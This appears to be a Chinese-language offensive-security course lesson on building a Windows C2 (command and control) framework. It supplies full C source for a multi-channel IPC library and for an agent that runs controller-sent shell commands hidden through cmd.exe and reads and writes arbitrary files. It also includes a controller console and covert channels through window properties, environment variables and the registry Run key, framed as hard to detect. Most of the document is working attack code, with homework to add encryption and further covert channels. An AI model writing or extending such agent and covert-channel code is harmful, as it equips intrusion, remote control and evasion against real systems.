1、课程目标
- 综合运用各种进程间通信技术
- 构建完整的C2通信框架
- 实现多通道备份通信机制
- 掌握隐蔽通信技术的实战应用
2、名词解释
| 术语 |
解释 |
| C2 |
Command & Control,命令与控制服务器 |
| 通道复用 |
使用多种通信方式作为备份 |
| 心跳包 |
定期发送的保活数据包 |
| 隐蔽通道 |
不易被检测的通信方式 |
| IPC |
Inter-Process Communication进程间通信 |
3、使用工具
| 工具 |
用途 |
| Visual Studio |
编译调试 |
| Process Monitor |
监控IPC活动 |
| API Monitor |
API调用监控 |
| Wireshark |
网络通信分析(网络部分) |
4、技术原理
4.1、进程通信方式对比
┌────────────────────────────────────────────────────────────┐
│ 进程间通信技术选择指南 │
├──────────────┬──────────────┬──────────────┬───────────────┤
│ 技术 │ 速度 │ 复杂度 │ 适用场景 │
├──────────────┼──────────────┼──────────────┼───────────────┤
│ 文件映射 │ ★★★★★ │ ★★★ │ 大数据/高频 │
│ 命名管道 │ ★★★★ │ ★★★ │ 流式数据 │
│ WM_COPYDATA │ ★★★★ │ ★★ │ 窗口进程 │
│ 邮槽 │ ★★★ │ ★ │ 简单广播 │
│ 剪切板 │ ★★ │ ★ │ 少量数据 │
│ 匿名管道 │ ★★★★ │ ★★ │ 父子进程 │
└──────────────┴──────────────┴──────────────┴───────────────┘
4.2、综合通信架构
┌─────────────────────────────────────────────────────────────┐
│ C2 Agent 通信架构 │
│ │
│ ┌─────────────┐ ┌─────────────┐ │
│ │ 主控进程 │←────→│ 通信管理器 │ │
│ └─────────────┘ └──────┬──────┘ │
│ │ │
│ ┌────────────┬───────┼───────┬────────────┐ │
│ ↓ ↓ ↓ ↓ ↓ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 文件映射 │ │ 命名管道 │ │ 邮槽 │ │ COPYDATA │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │ │ │ │ │
│ └────────────┴───────┴────────────┘ │
│ ↓ │
│ ┌──────────────────┐ │
│ │ 子进程/模块 │ │
│ └──────────────────┘ │
└─────────────────────────────────────────────────────────────┘
5、代码实现
5.1、项目1:统一IPC通信库
// IPCLib.h - 统一进程间通信库
#ifndef IPC_LIB_H
#define IPC_LIB_H
#include <windows.h>
// IPC类型枚举
typedef enum _IPC_TYPE {
IPC_TYPE_FILEMAPPING = 0,
IPC_TYPE_NAMEDPIPE,
IPC_TYPE_MAILSLOT,
IPC_TYPE_WMCOPYDATA,
IPC_TYPE_CLIPBOARD
} IPC_TYPE;
// IPC通道结构
typedef struct _IPC_CHANNEL {
IPC_TYPE Type;
HANDLE hChannel;
LPVOID pSharedMem;
HWND hWndTarget;
char szName[256];
BOOL bServer;
CRITICAL_SECTION cs;
} IPC_CHANNEL, *PIPC_CHANNEL;
// 消息包结构
typedef struct _IPC_MESSAGE {
DWORD dwMsgId;
DWORD dwFlags;
DWORD dwDataSize;
BYTE bData[8000];
} IPC_MESSAGE, *PIPC_MESSAGE;
// API声明
PIPC_CHANNEL IPC_CreateChannel(IPC_TYPE type, const char* name, BOOL bServer);
VOID IPC_DestroyChannel(PIPC_CHANNEL pChannel);
BOOL IPC_Send(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg);
BOOL IPC_Receive(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg, DWORD dwTimeout);
BOOL IPC_IsConnected(PIPC_CHANNEL pChannel);
#endif
// IPCLib.c - 统一进程间通信库实现
#include <stdio.h>
#include "IPCLib.h"
#define FILEMAPPING_SIZE 8192
// ======================== 文件映射实现 ========================
static PIPC_CHANNEL CreateFileMappingChannel(const char* name, BOOL bServer) {
PIPC_CHANNEL pChannel = (PIPC_CHANNEL)malloc(sizeof(IPC_CHANNEL));
if (!pChannel) return NULL;
memset(pChannel, 0, sizeof(IPC_CHANNEL));
pChannel->Type = IPC_TYPE_FILEMAPPING;
pChannel->bServer = bServer;
sprintf(pChannel->szName, "Local\\IPC_FM_%s", name);
InitializeCriticalSection(&pChannel->cs);
if (bServer) {
pChannel->hChannel = CreateFileMappingA(
INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE,
0, FILEMAPPING_SIZE, pChannel->szName);
} else {
pChannel->hChannel = OpenFileMappingA(
FILE_MAP_ALL_ACCESS, FALSE, pChannel->szName);
}
if (!pChannel->hChannel) {
DeleteCriticalSection(&pChannel->cs);
free(pChannel);
return NULL;
}
pChannel->pSharedMem = MapViewOfFile(
pChannel->hChannel, FILE_MAP_ALL_ACCESS, 0, 0, FILEMAPPING_SIZE);
if (!pChannel->pSharedMem) {
CloseHandle(pChannel->hChannel);
DeleteCriticalSection(&pChannel->cs);
free(pChannel);
return NULL;
}
return pChannel;
}
// ======================== 命名管道实现 ========================
static PIPC_CHANNEL CreateNamedPipeChannel(const char* name, BOOL bServer) {
PIPC_CHANNEL pChannel = (PIPC_CHANNEL)malloc(sizeof(IPC_CHANNEL));
if (!pChannel) return NULL;
memset(pChannel, 0, sizeof(IPC_CHANNEL));
pChannel->Type = IPC_TYPE_NAMEDPIPE;
pChannel->bServer = bServer;
sprintf(pChannel->szName, "\\\\.\\pipe\\IPC_%s", name);
InitializeCriticalSection(&pChannel->cs);
if (bServer) {
pChannel->hChannel = CreateNamedPipeA(
pChannel->szName,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 8192, 8192, 0, NULL);
} else {
pChannel->hChannel = CreateFileA(
pChannel->szName,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
}
if (pChannel->hChannel == INVALID_HANDLE_VALUE) {
DeleteCriticalSection(&pChannel->cs);
free(pChannel);
return NULL;
}
return pChannel;
}
// ======================== 邮槽实现 ========================
static PIPC_CHANNEL CreateMailslotChannel(const char* name, BOOL bServer) {
PIPC_CHANNEL pChannel = (PIPC_CHANNEL)malloc(sizeof(IPC_CHANNEL));
if (!pChannel) return NULL;
memset(pChannel, 0, sizeof(IPC_CHANNEL));
pChannel->Type = IPC_TYPE_MAILSLOT;
pChannel->bServer = bServer;
sprintf(pChannel->szName, "\\\\.\\mailslot\\IPC_%s", name);
InitializeCriticalSection(&pChannel->cs);
if (bServer) {
pChannel->hChannel = CreateMailslotA(
pChannel->szName, 0, MAILSLOT_WAIT_FOREVER, NULL);
} else {
pChannel->hChannel = CreateFileA(
pChannel->szName,
GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
if (pChannel->hChannel == INVALID_HANDLE_VALUE) {
DeleteCriticalSection(&pChannel->cs);
free(pChannel);
return NULL;
}
return pChannel;
}
// ======================== 统一接口 ========================
PIPC_CHANNEL IPC_CreateChannel(IPC_TYPE type, const char* name, BOOL bServer) {
switch (type) {
case IPC_TYPE_FILEMAPPING:
return CreateFileMappingChannel(name, bServer);
case IPC_TYPE_NAMEDPIPE:
return CreateNamedPipeChannel(name, bServer);
case IPC_TYPE_MAILSLOT:
return CreateMailslotChannel(name, bServer);
default:
return NULL;
}
}
VOID IPC_DestroyChannel(PIPC_CHANNEL pChannel) {
if (!pChannel) return;
EnterCriticalSection(&pChannel->cs);
switch (pChannel->Type) {
case IPC_TYPE_FILEMAPPING:
if (pChannel->pSharedMem) UnmapViewOfFile(pChannel->pSharedMem);
if (pChannel->hChannel) CloseHandle(pChannel->hChannel);
break;
case IPC_TYPE_NAMEDPIPE:
case IPC_TYPE_MAILSLOT:
if (pChannel->hChannel != INVALID_HANDLE_VALUE)
CloseHandle(pChannel->hChannel);
break;
}
LeaveCriticalSection(&pChannel->cs);
DeleteCriticalSection(&pChannel->cs);
free(pChannel);
}
BOOL IPC_Send(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg) {
if (!pChannel || !pMsg) return FALSE;
BOOL bResult = FALSE;
DWORD dwWritten = 0;
EnterCriticalSection(&pChannel->cs);
switch (pChannel->Type) {
case IPC_TYPE_FILEMAPPING:
memcpy(pChannel->pSharedMem, pMsg, sizeof(IPC_MESSAGE));
bResult = TRUE;
break;
case IPC_TYPE_NAMEDPIPE:
case IPC_TYPE_MAILSLOT:
bResult = WriteFile(pChannel->hChannel, pMsg,
sizeof(IPC_MESSAGE), &dwWritten, NULL);
break;
}
LeaveCriticalSection(&pChannel->cs);
return bResult;
}
BOOL IPC_Receive(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg, DWORD dwTimeout) {
if (!pChannel || !pMsg) return FALSE;
BOOL bResult = FALSE;
DWORD dwRead = 0;
EnterCriticalSection(&pChannel->cs);
switch (pChannel->Type) {
case IPC_TYPE_FILEMAPPING:
memcpy(pMsg, pChannel->pSharedMem, sizeof(IPC_MESSAGE));
bResult = TRUE;
break;
case IPC_TYPE_NAMEDPIPE:
if (pChannel->bServer) {
// 服务端需要先连接
ConnectNamedPipe(pChannel->hChannel, NULL);
}
bResult = ReadFile(pChannel->hChannel, pMsg,
sizeof(IPC_MESSAGE), &dwRead, NULL);
break;
case IPC_TYPE_MAILSLOT:
bResult = ReadFile(pChannel->hChannel, pMsg,
sizeof(IPC_MESSAGE), &dwRead, NULL);
break;
}
LeaveCriticalSection(&pChannel->cs);
return bResult;
}
5.2、项目2:多通道C2 Agent框架
// C2Agent.h - C2通信Agent头文件
#ifndef C2_AGENT_H
#define C2_AGENT_H
#include <windows.h>
#include "IPCLib.h"
// 命令类型
#define CMD_NOP 0x00
#define CMD_HEARTBEAT 0x01
#define CMD_SHELL 0x10
#define CMD_UPLOAD 0x20
#define CMD_DOWNLOAD 0x21
#define CMD_INJECT 0x30
#define CMD_EXIT 0xFF
// Agent状态
typedef enum _AGENT_STATE {
AGENT_IDLE = 0,
AGENT_RUNNING,
AGENT_PAUSED,
AGENT_STOPPED
} AGENT_STATE;
// Agent上下文
typedef struct _AGENT_CONTEXT {
DWORD dwAgentId;
AGENT_STATE State;
PIPC_CHANNEL Channels[4];
int nActiveChannel;
HANDLE hWorkerThread;
HANDLE hHeartbeatThread;
BOOL bRunning;
CRITICAL_SECTION cs;
} AGENT_CONTEXT, *PAGENT_CONTEXT;
// API
PAGENT_CONTEXT Agent_Initialize(DWORD dwId);
VOID Agent_Shutdown(PAGENT_CONTEXT pCtx);
BOOL Agent_Start(PAGENT_CONTEXT pCtx);
VOID Agent_ExecuteCommand(PAGENT_CONTEXT pCtx, PIPC_MESSAGE pCmd);
#endif
// C2Agent.c - C2通信Agent实现
#include <stdio.h>
#include <stdlib.h>
#include "C2Agent.h"
// 心跳线程
DWORD WINAPI HeartbeatThread(LPVOID lpParam) {
PAGENT_CONTEXT pCtx = (PAGENT_CONTEXT)lpParam;
IPC_MESSAGE msg = {0};
msg.dwMsgId = CMD_HEARTBEAT;
msg.dwFlags = 0;
while (pCtx->bRunning) {
// 获取系统信息作为心跳数据
DWORD pid = GetCurrentProcessId();
DWORD tick = GetTickCount();
sprintf((char*)msg.bData, "HB|%d|%d|%d",
pCtx->dwAgentId, pid, tick);
msg.dwDataSize = strlen((char*)msg.bData) + 1;
// 尝试通过可用通道发送
EnterCriticalSection(&pCtx->cs);
for (int i = 0; i < 4; i++) {
if (pCtx->Channels[i]) {
if (IPC_Send(pCtx->Channels[i], &msg)) {
pCtx->nActiveChannel = i;
break;
}
}
}
LeaveCriticalSection(&pCtx->cs);
Sleep(5000); // 5秒心跳间隔
}
return 0;
}
// 命令执行
VOID Agent_ExecuteCommand(PAGENT_CONTEXT pCtx, PIPC_MESSAGE pCmd) {
IPC_MESSAGE response = {0};
response.dwMsgId = pCmd->dwMsgId;
switch (pCmd->dwMsgId) {
case CMD_SHELL: {
// 执行Shell命令
char cmdline[4096];
sprintf(cmdline, "cmd.exe /c %s", pCmd->bData);
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};
HANDLE hReadPipe, hWritePipe;
CreatePipe(&hReadPipe, &hWritePipe, &sa, 0);
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
CloseHandle(hWritePipe);
DWORD dwRead;
ReadFile(hReadPipe, response.bData,
sizeof(response.bData) - 1, &dwRead, NULL);
response.dwDataSize = dwRead;
WaitForSingleObject(pi.hProcess, 30000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(hReadPipe);
break;
}
case CMD_DOWNLOAD: {
// 读取文件内容
HANDLE hFile = CreateFileA((char*)pCmd->bData,
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD dwRead;
ReadFile(hFile, response.bData,
sizeof(response.bData), &dwRead, NULL);
response.dwDataSize = dwRead;
CloseHandle(hFile);
}
break;
}
case CMD_UPLOAD: {
// 写入文件
char* sep = strchr((char*)pCmd->bData, '|');
if (sep) {
*sep = 0;
char* filename = (char*)pCmd->bData;
char* content = sep + 1;
HANDLE hFile = CreateFileA(filename,
GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD dwWritten;
WriteFile(hFile, content,
pCmd->dwDataSize - (sep - (char*)pCmd->bData) - 1,
&dwWritten, NULL);
CloseHandle(hFile);
strcpy((char*)response.bData, "Upload OK");
response.dwDataSize = 10;
}
}
break;
}
case CMD_EXIT:
pCtx->State = AGENT_STOPPED;
pCtx->bRunning = FALSE;
strcpy((char*)response.bData, "Agent exiting");
response.dwDataSize = 14;
break;
}
// 发送响应
EnterCriticalSection(&pCtx->cs);
if (pCtx->Channels[pCtx->nActiveChannel]) {
IPC_Send(pCtx->Channels[pCtx->nActiveChannel], &response);
}
LeaveCriticalSection(&pCtx->cs);
}
// 工作线程
DWORD WINAPI WorkerThread(LPVOID lpParam) {
PAGENT_CONTEXT pCtx = (PAGENT_CONTEXT)lpParam;
IPC_MESSAGE msg;
while (pCtx->bRunning) {
// 尝试从所有通道接收
for (int i = 0; i < 4 && pCtx->bRunning; i++) {
if (!pCtx->Channels[i]) continue;
if (IPC_Receive(pCtx->Channels[i], &msg, 1000)) {
pCtx->nActiveChannel = i;
Agent_ExecuteCommand(pCtx, &msg);
}
}
Sleep(100);
}
return 0;
}
PAGENT_CONTEXT Agent_Initialize(DWORD dwId) {
PAGENT_CONTEXT pCtx = (PAGENT_CONTEXT)malloc(sizeof(AGENT_CONTEXT));
if (!pCtx) return NULL;
memset(pCtx, 0, sizeof(AGENT_CONTEXT));
pCtx->dwAgentId = dwId;
pCtx->State = AGENT_IDLE;
InitializeCriticalSection(&pCtx->cs);
// 初始化多个通信通道
char name[64];
sprintf(name, "agent_%d", dwId);
// 尝试创建多种通道
pCtx->Channels[0] = IPC_CreateChannel(IPC_TYPE_FILEMAPPING, name, FALSE);
pCtx->Channels[1] = IPC_CreateChannel(IPC_TYPE_NAMEDPIPE, name, FALSE);
pCtx->Channels[2] = IPC_CreateChannel(IPC_TYPE_MAILSLOT, name, FALSE);
// 检查至少有一个通道可用
BOOL bHasChannel = FALSE;
for (int i = 0; i < 4; i++) {
if (pCtx->Channels[i]) {
bHasChannel = TRUE;
pCtx->nActiveChannel = i;
break;
}
}
if (!bHasChannel) {
printf("[Agent] No channel available\n");
}
return pCtx;
}
BOOL Agent_Start(PAGENT_CONTEXT pCtx) {
if (!pCtx) return FALSE;
pCtx->bRunning = TRUE;
pCtx->State = AGENT_RUNNING;
// 启动心跳线程
pCtx->hHeartbeatThread = CreateThread(
NULL, 0, HeartbeatThread, pCtx, 0, NULL);
// 启动工作线程
pCtx->hWorkerThread = CreateThread(
NULL, 0, WorkerThread, pCtx, 0, NULL);
return TRUE;
}
VOID Agent_Shutdown(PAGENT_CONTEXT pCtx) {
if (!pCtx) return;
pCtx->bRunning = FALSE;
if (pCtx->hHeartbeatThread) {
WaitForSingleObject(pCtx->hHeartbeatThread, 3000);
CloseHandle(pCtx->hHeartbeatThread);
}
if (pCtx->hWorkerThread) {
WaitForSingleObject(pCtx->hWorkerThread, 3000);
CloseHandle(pCtx->hWorkerThread);
}
for (int i = 0; i < 4; i++) {
if (pCtx->Channels[i]) {
IPC_DestroyChannel(pCtx->Channels[i]);
}
}
DeleteCriticalSection(&pCtx->cs);
free(pCtx);
}
5.3、项目3:C2 Controller控制端
// C2Controller.c - C2控制端
#include <stdio.h>
#include <stdlib.h>
#include "IPCLib.h"
#include "C2Agent.h"
typedef struct _CONTROLLER_CONTEXT {
PIPC_CHANNEL Channels[4];
int nAgents;
BOOL bRunning;
} CONTROLLER_CONTEXT, *PCONTROLLER_CONTEXT;
PCONTROLLER_CONTEXT Controller_Initialize(DWORD dwAgentId) {
PCONTROLLER_CONTEXT pCtx = (PCONTROLLER_CONTEXT)malloc(sizeof(CONTROLLER_CONTEXT));
if (!pCtx) return NULL;
memset(pCtx, 0, sizeof(CONTROLLER_CONTEXT));
char name[64];
sprintf(name, "agent_%d", dwAgentId);
// 创建服务端通道
pCtx->Channels[0] = IPC_CreateChannel(IPC_TYPE_FILEMAPPING, name, TRUE);
pCtx->Channels[1] = IPC_CreateChannel(IPC_TYPE_NAMEDPIPE, name, TRUE);
pCtx->Channels[2] = IPC_CreateChannel(IPC_TYPE_MAILSLOT, name, TRUE);
pCtx->bRunning = TRUE;
return pCtx;
}
void Controller_SendCommand(PCONTROLLER_CONTEXT pCtx, DWORD dwCmd, const char* data) {
IPC_MESSAGE msg = {0};
msg.dwMsgId = dwCmd;
if (data) {
strcpy((char*)msg.bData, data);
msg.dwDataSize = strlen(data) + 1;
}
// 通过所有可用通道发送
for (int i = 0; i < 4; i++) {
if (pCtx->Channels[i]) {
if (IPC_Send(pCtx->Channels[i], &msg)) {
printf("[Controller] Command sent via channel %d\n", i);
}
}
}
}
void Controller_ReceiveLoop(PCONTROLLER_CONTEXT pCtx) {
IPC_MESSAGE msg;
while (pCtx->bRunning) {
for (int i = 0; i < 4; i++) {
if (!pCtx->Channels[i]) continue;
if (IPC_Receive(pCtx->Channels[i], &msg, 100)) {
switch (msg.dwMsgId) {
case CMD_HEARTBEAT:
printf("[Heartbeat] %s\n", msg.bData);
break;
default:
printf("[Response] Cmd=%d Data=%s\n",
msg.dwMsgId, msg.bData);
}
}
}
Sleep(100);
}
}
int main() {
printf("=== C2 Controller ===\n\n");
PCONTROLLER_CONTEXT pCtx = Controller_Initialize(1001);
if (!pCtx) {
printf("Failed to initialize controller\n");
return 1;
}
printf("Controller ready. Commands:\n");
printf(" shell <cmd> - Execute shell command\n");
printf(" download <f> - Download file\n");
printf(" exit - Exit agent\n");
printf(" quit - Quit controller\n\n");
// 启动接收线程
HANDLE hRecv = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)Controller_ReceiveLoop, pCtx, 0, NULL);
char input[1024];
while (pCtx->bRunning) {
printf("> ");
if (!fgets(input, sizeof(input), stdin)) break;
input[strcspn(input, "\n")] = 0;
if (strncmp(input, "shell ", 6) == 0) {
Controller_SendCommand(pCtx, CMD_SHELL, input + 6);
}
else if (strncmp(input, "download ", 9) == 0) {
Controller_SendCommand(pCtx, CMD_DOWNLOAD, input + 9);
}
else if (strcmp(input, "exit") == 0) {
Controller_SendCommand(pCtx, CMD_EXIT, NULL);
}
else if (strcmp(input, "quit") == 0) {
pCtx->bRunning = FALSE;
}
}
WaitForSingleObject(hRecv, 1000);
for (int i = 0; i < 4; i++) {
if (pCtx->Channels[i])
IPC_DestroyChannel(pCtx->Channels[i]);
}
free(pCtx);
return 0;
}
5.4、项目4:隐蔽通道通信
// CovertChannel.c - 隐蔽通道实现
#include <windows.h>
#include <stdio.h>
// 使用窗口属性作为隐蔽通道
#define PROP_NAME "CovertData"
BOOL CovertSend_WindowProp(HWND hTargetWnd, const void* data, size_t size) {
// 分配全局内存
HGLOBAL hGlobal = GlobalAlloc(GHND, size + sizeof(DWORD));
if (!hGlobal) return FALSE;
LPVOID pMem = GlobalLock(hGlobal);
*(DWORD*)pMem = (DWORD)size;
memcpy((BYTE*)pMem + sizeof(DWORD), data, size);
GlobalUnlock(hGlobal);
// 设置窗口属性
return SetPropA(hTargetWnd, PROP_NAME, hGlobal);
}
BOOL CovertRecv_WindowProp(HWND hWnd, void* buffer, size_t* pSize) {
HGLOBAL hGlobal = (HGLOBAL)GetPropA(hWnd, PROP_NAME);
if (!hGlobal) return FALSE;
LPVOID pMem = GlobalLock(hGlobal);
DWORD dwSize = *(DWORD*)pMem;
if (*pSize < dwSize) {
GlobalUnlock(hGlobal);
*pSize = dwSize;
return FALSE;
}
memcpy(buffer, (BYTE*)pMem + sizeof(DWORD), dwSize);
*pSize = dwSize;
GlobalUnlock(hGlobal);
// 清理
RemovePropA(hWnd, PROP_NAME);
GlobalFree(hGlobal);
return TRUE;
}
// 使用环境变量作为隐蔽通道
#define ENV_VAR_NAME "COVERT_DATA"
BOOL CovertSend_EnvVar(const char* data) {
return SetEnvironmentVariableA(ENV_VAR_NAME, data);
}
BOOL CovertRecv_EnvVar(char* buffer, DWORD size) {
DWORD ret = GetEnvironmentVariableA(ENV_VAR_NAME, buffer, size);
if (ret > 0 && ret < size) {
SetEnvironmentVariableA(ENV_VAR_NAME, NULL); // 清除
return TRUE;
}
return FALSE;
}
// 使用注册表作为隐蔽通道
#define REG_COVERT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define REG_COVERT_VALUE "CovertData"
BOOL CovertSend_Registry(const void* data, size_t size) {
HKEY hKey;
if (RegOpenKeyExA(HKEY_CURRENT_USER, REG_COVERT_PATH,
0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
return FALSE;
}
BOOL bResult = (RegSetValueExA(hKey, REG_COVERT_VALUE, 0,
REG_BINARY, (BYTE*)data, (DWORD)size) == ERROR_SUCCESS);
RegCloseKey(hKey);
return bResult;
}
BOOL CovertRecv_Registry(void* buffer, size_t* pSize) {
HKEY hKey;
if (RegOpenKeyExA(HKEY_CURRENT_USER, REG_COVERT_PATH,
0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS) {
return FALSE;
}
DWORD dwType, dwSize = (DWORD)*pSize;
BOOL bResult = (RegQueryValueExA(hKey, REG_COVERT_VALUE, NULL,
&dwType, (BYTE*)buffer, &dwSize) == ERROR_SUCCESS);
if (bResult) {
*pSize = dwSize;
RegDeleteValueA(hKey, REG_COVERT_VALUE);
}
RegCloseKey(hKey);
return bResult;
}
// 测试隐蔽通道
int main() {
printf("=== Covert Channel Test ===\n\n");
// 测试环境变量通道
const char* testData = "Secret Command";
CovertSend_EnvVar(testData);
char recvBuf[256];
if (CovertRecv_EnvVar(recvBuf, sizeof(recvBuf))) {
printf("[EnvVar] Received: %s\n", recvBuf);
}
// 测试注册表通道
BYTE binData[] = {0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04};
CovertSend_Registry(binData, sizeof(binData));
BYTE recvBin[256];
size_t recvSize = sizeof(recvBin);
if (CovertRecv_Registry(recvBin, &recvSize)) {
printf("[Registry] Received %zu bytes: ", recvSize);
for (size_t i = 0; i < recvSize; i++)
printf("%02X ", recvBin[i]);
printf("\n");
}
return 0;
}
6、课后作业
- 完善IPC库,添加WM_COPYDATA和剪切板通道支持
- 实现通道自动切换和故障恢复机制
- 为通信数据添加加密和完整性校验
- 实现一个完整的本地C2通信演示系统
- 研究并实现更多隐蔽通道(如文件时间戳、ADS等)
7、扩展阅读
- Windows IPC机制深度解析
- 隐蔽通道技术研究
- 进程间通信安全性分析
- C2框架通信设计模式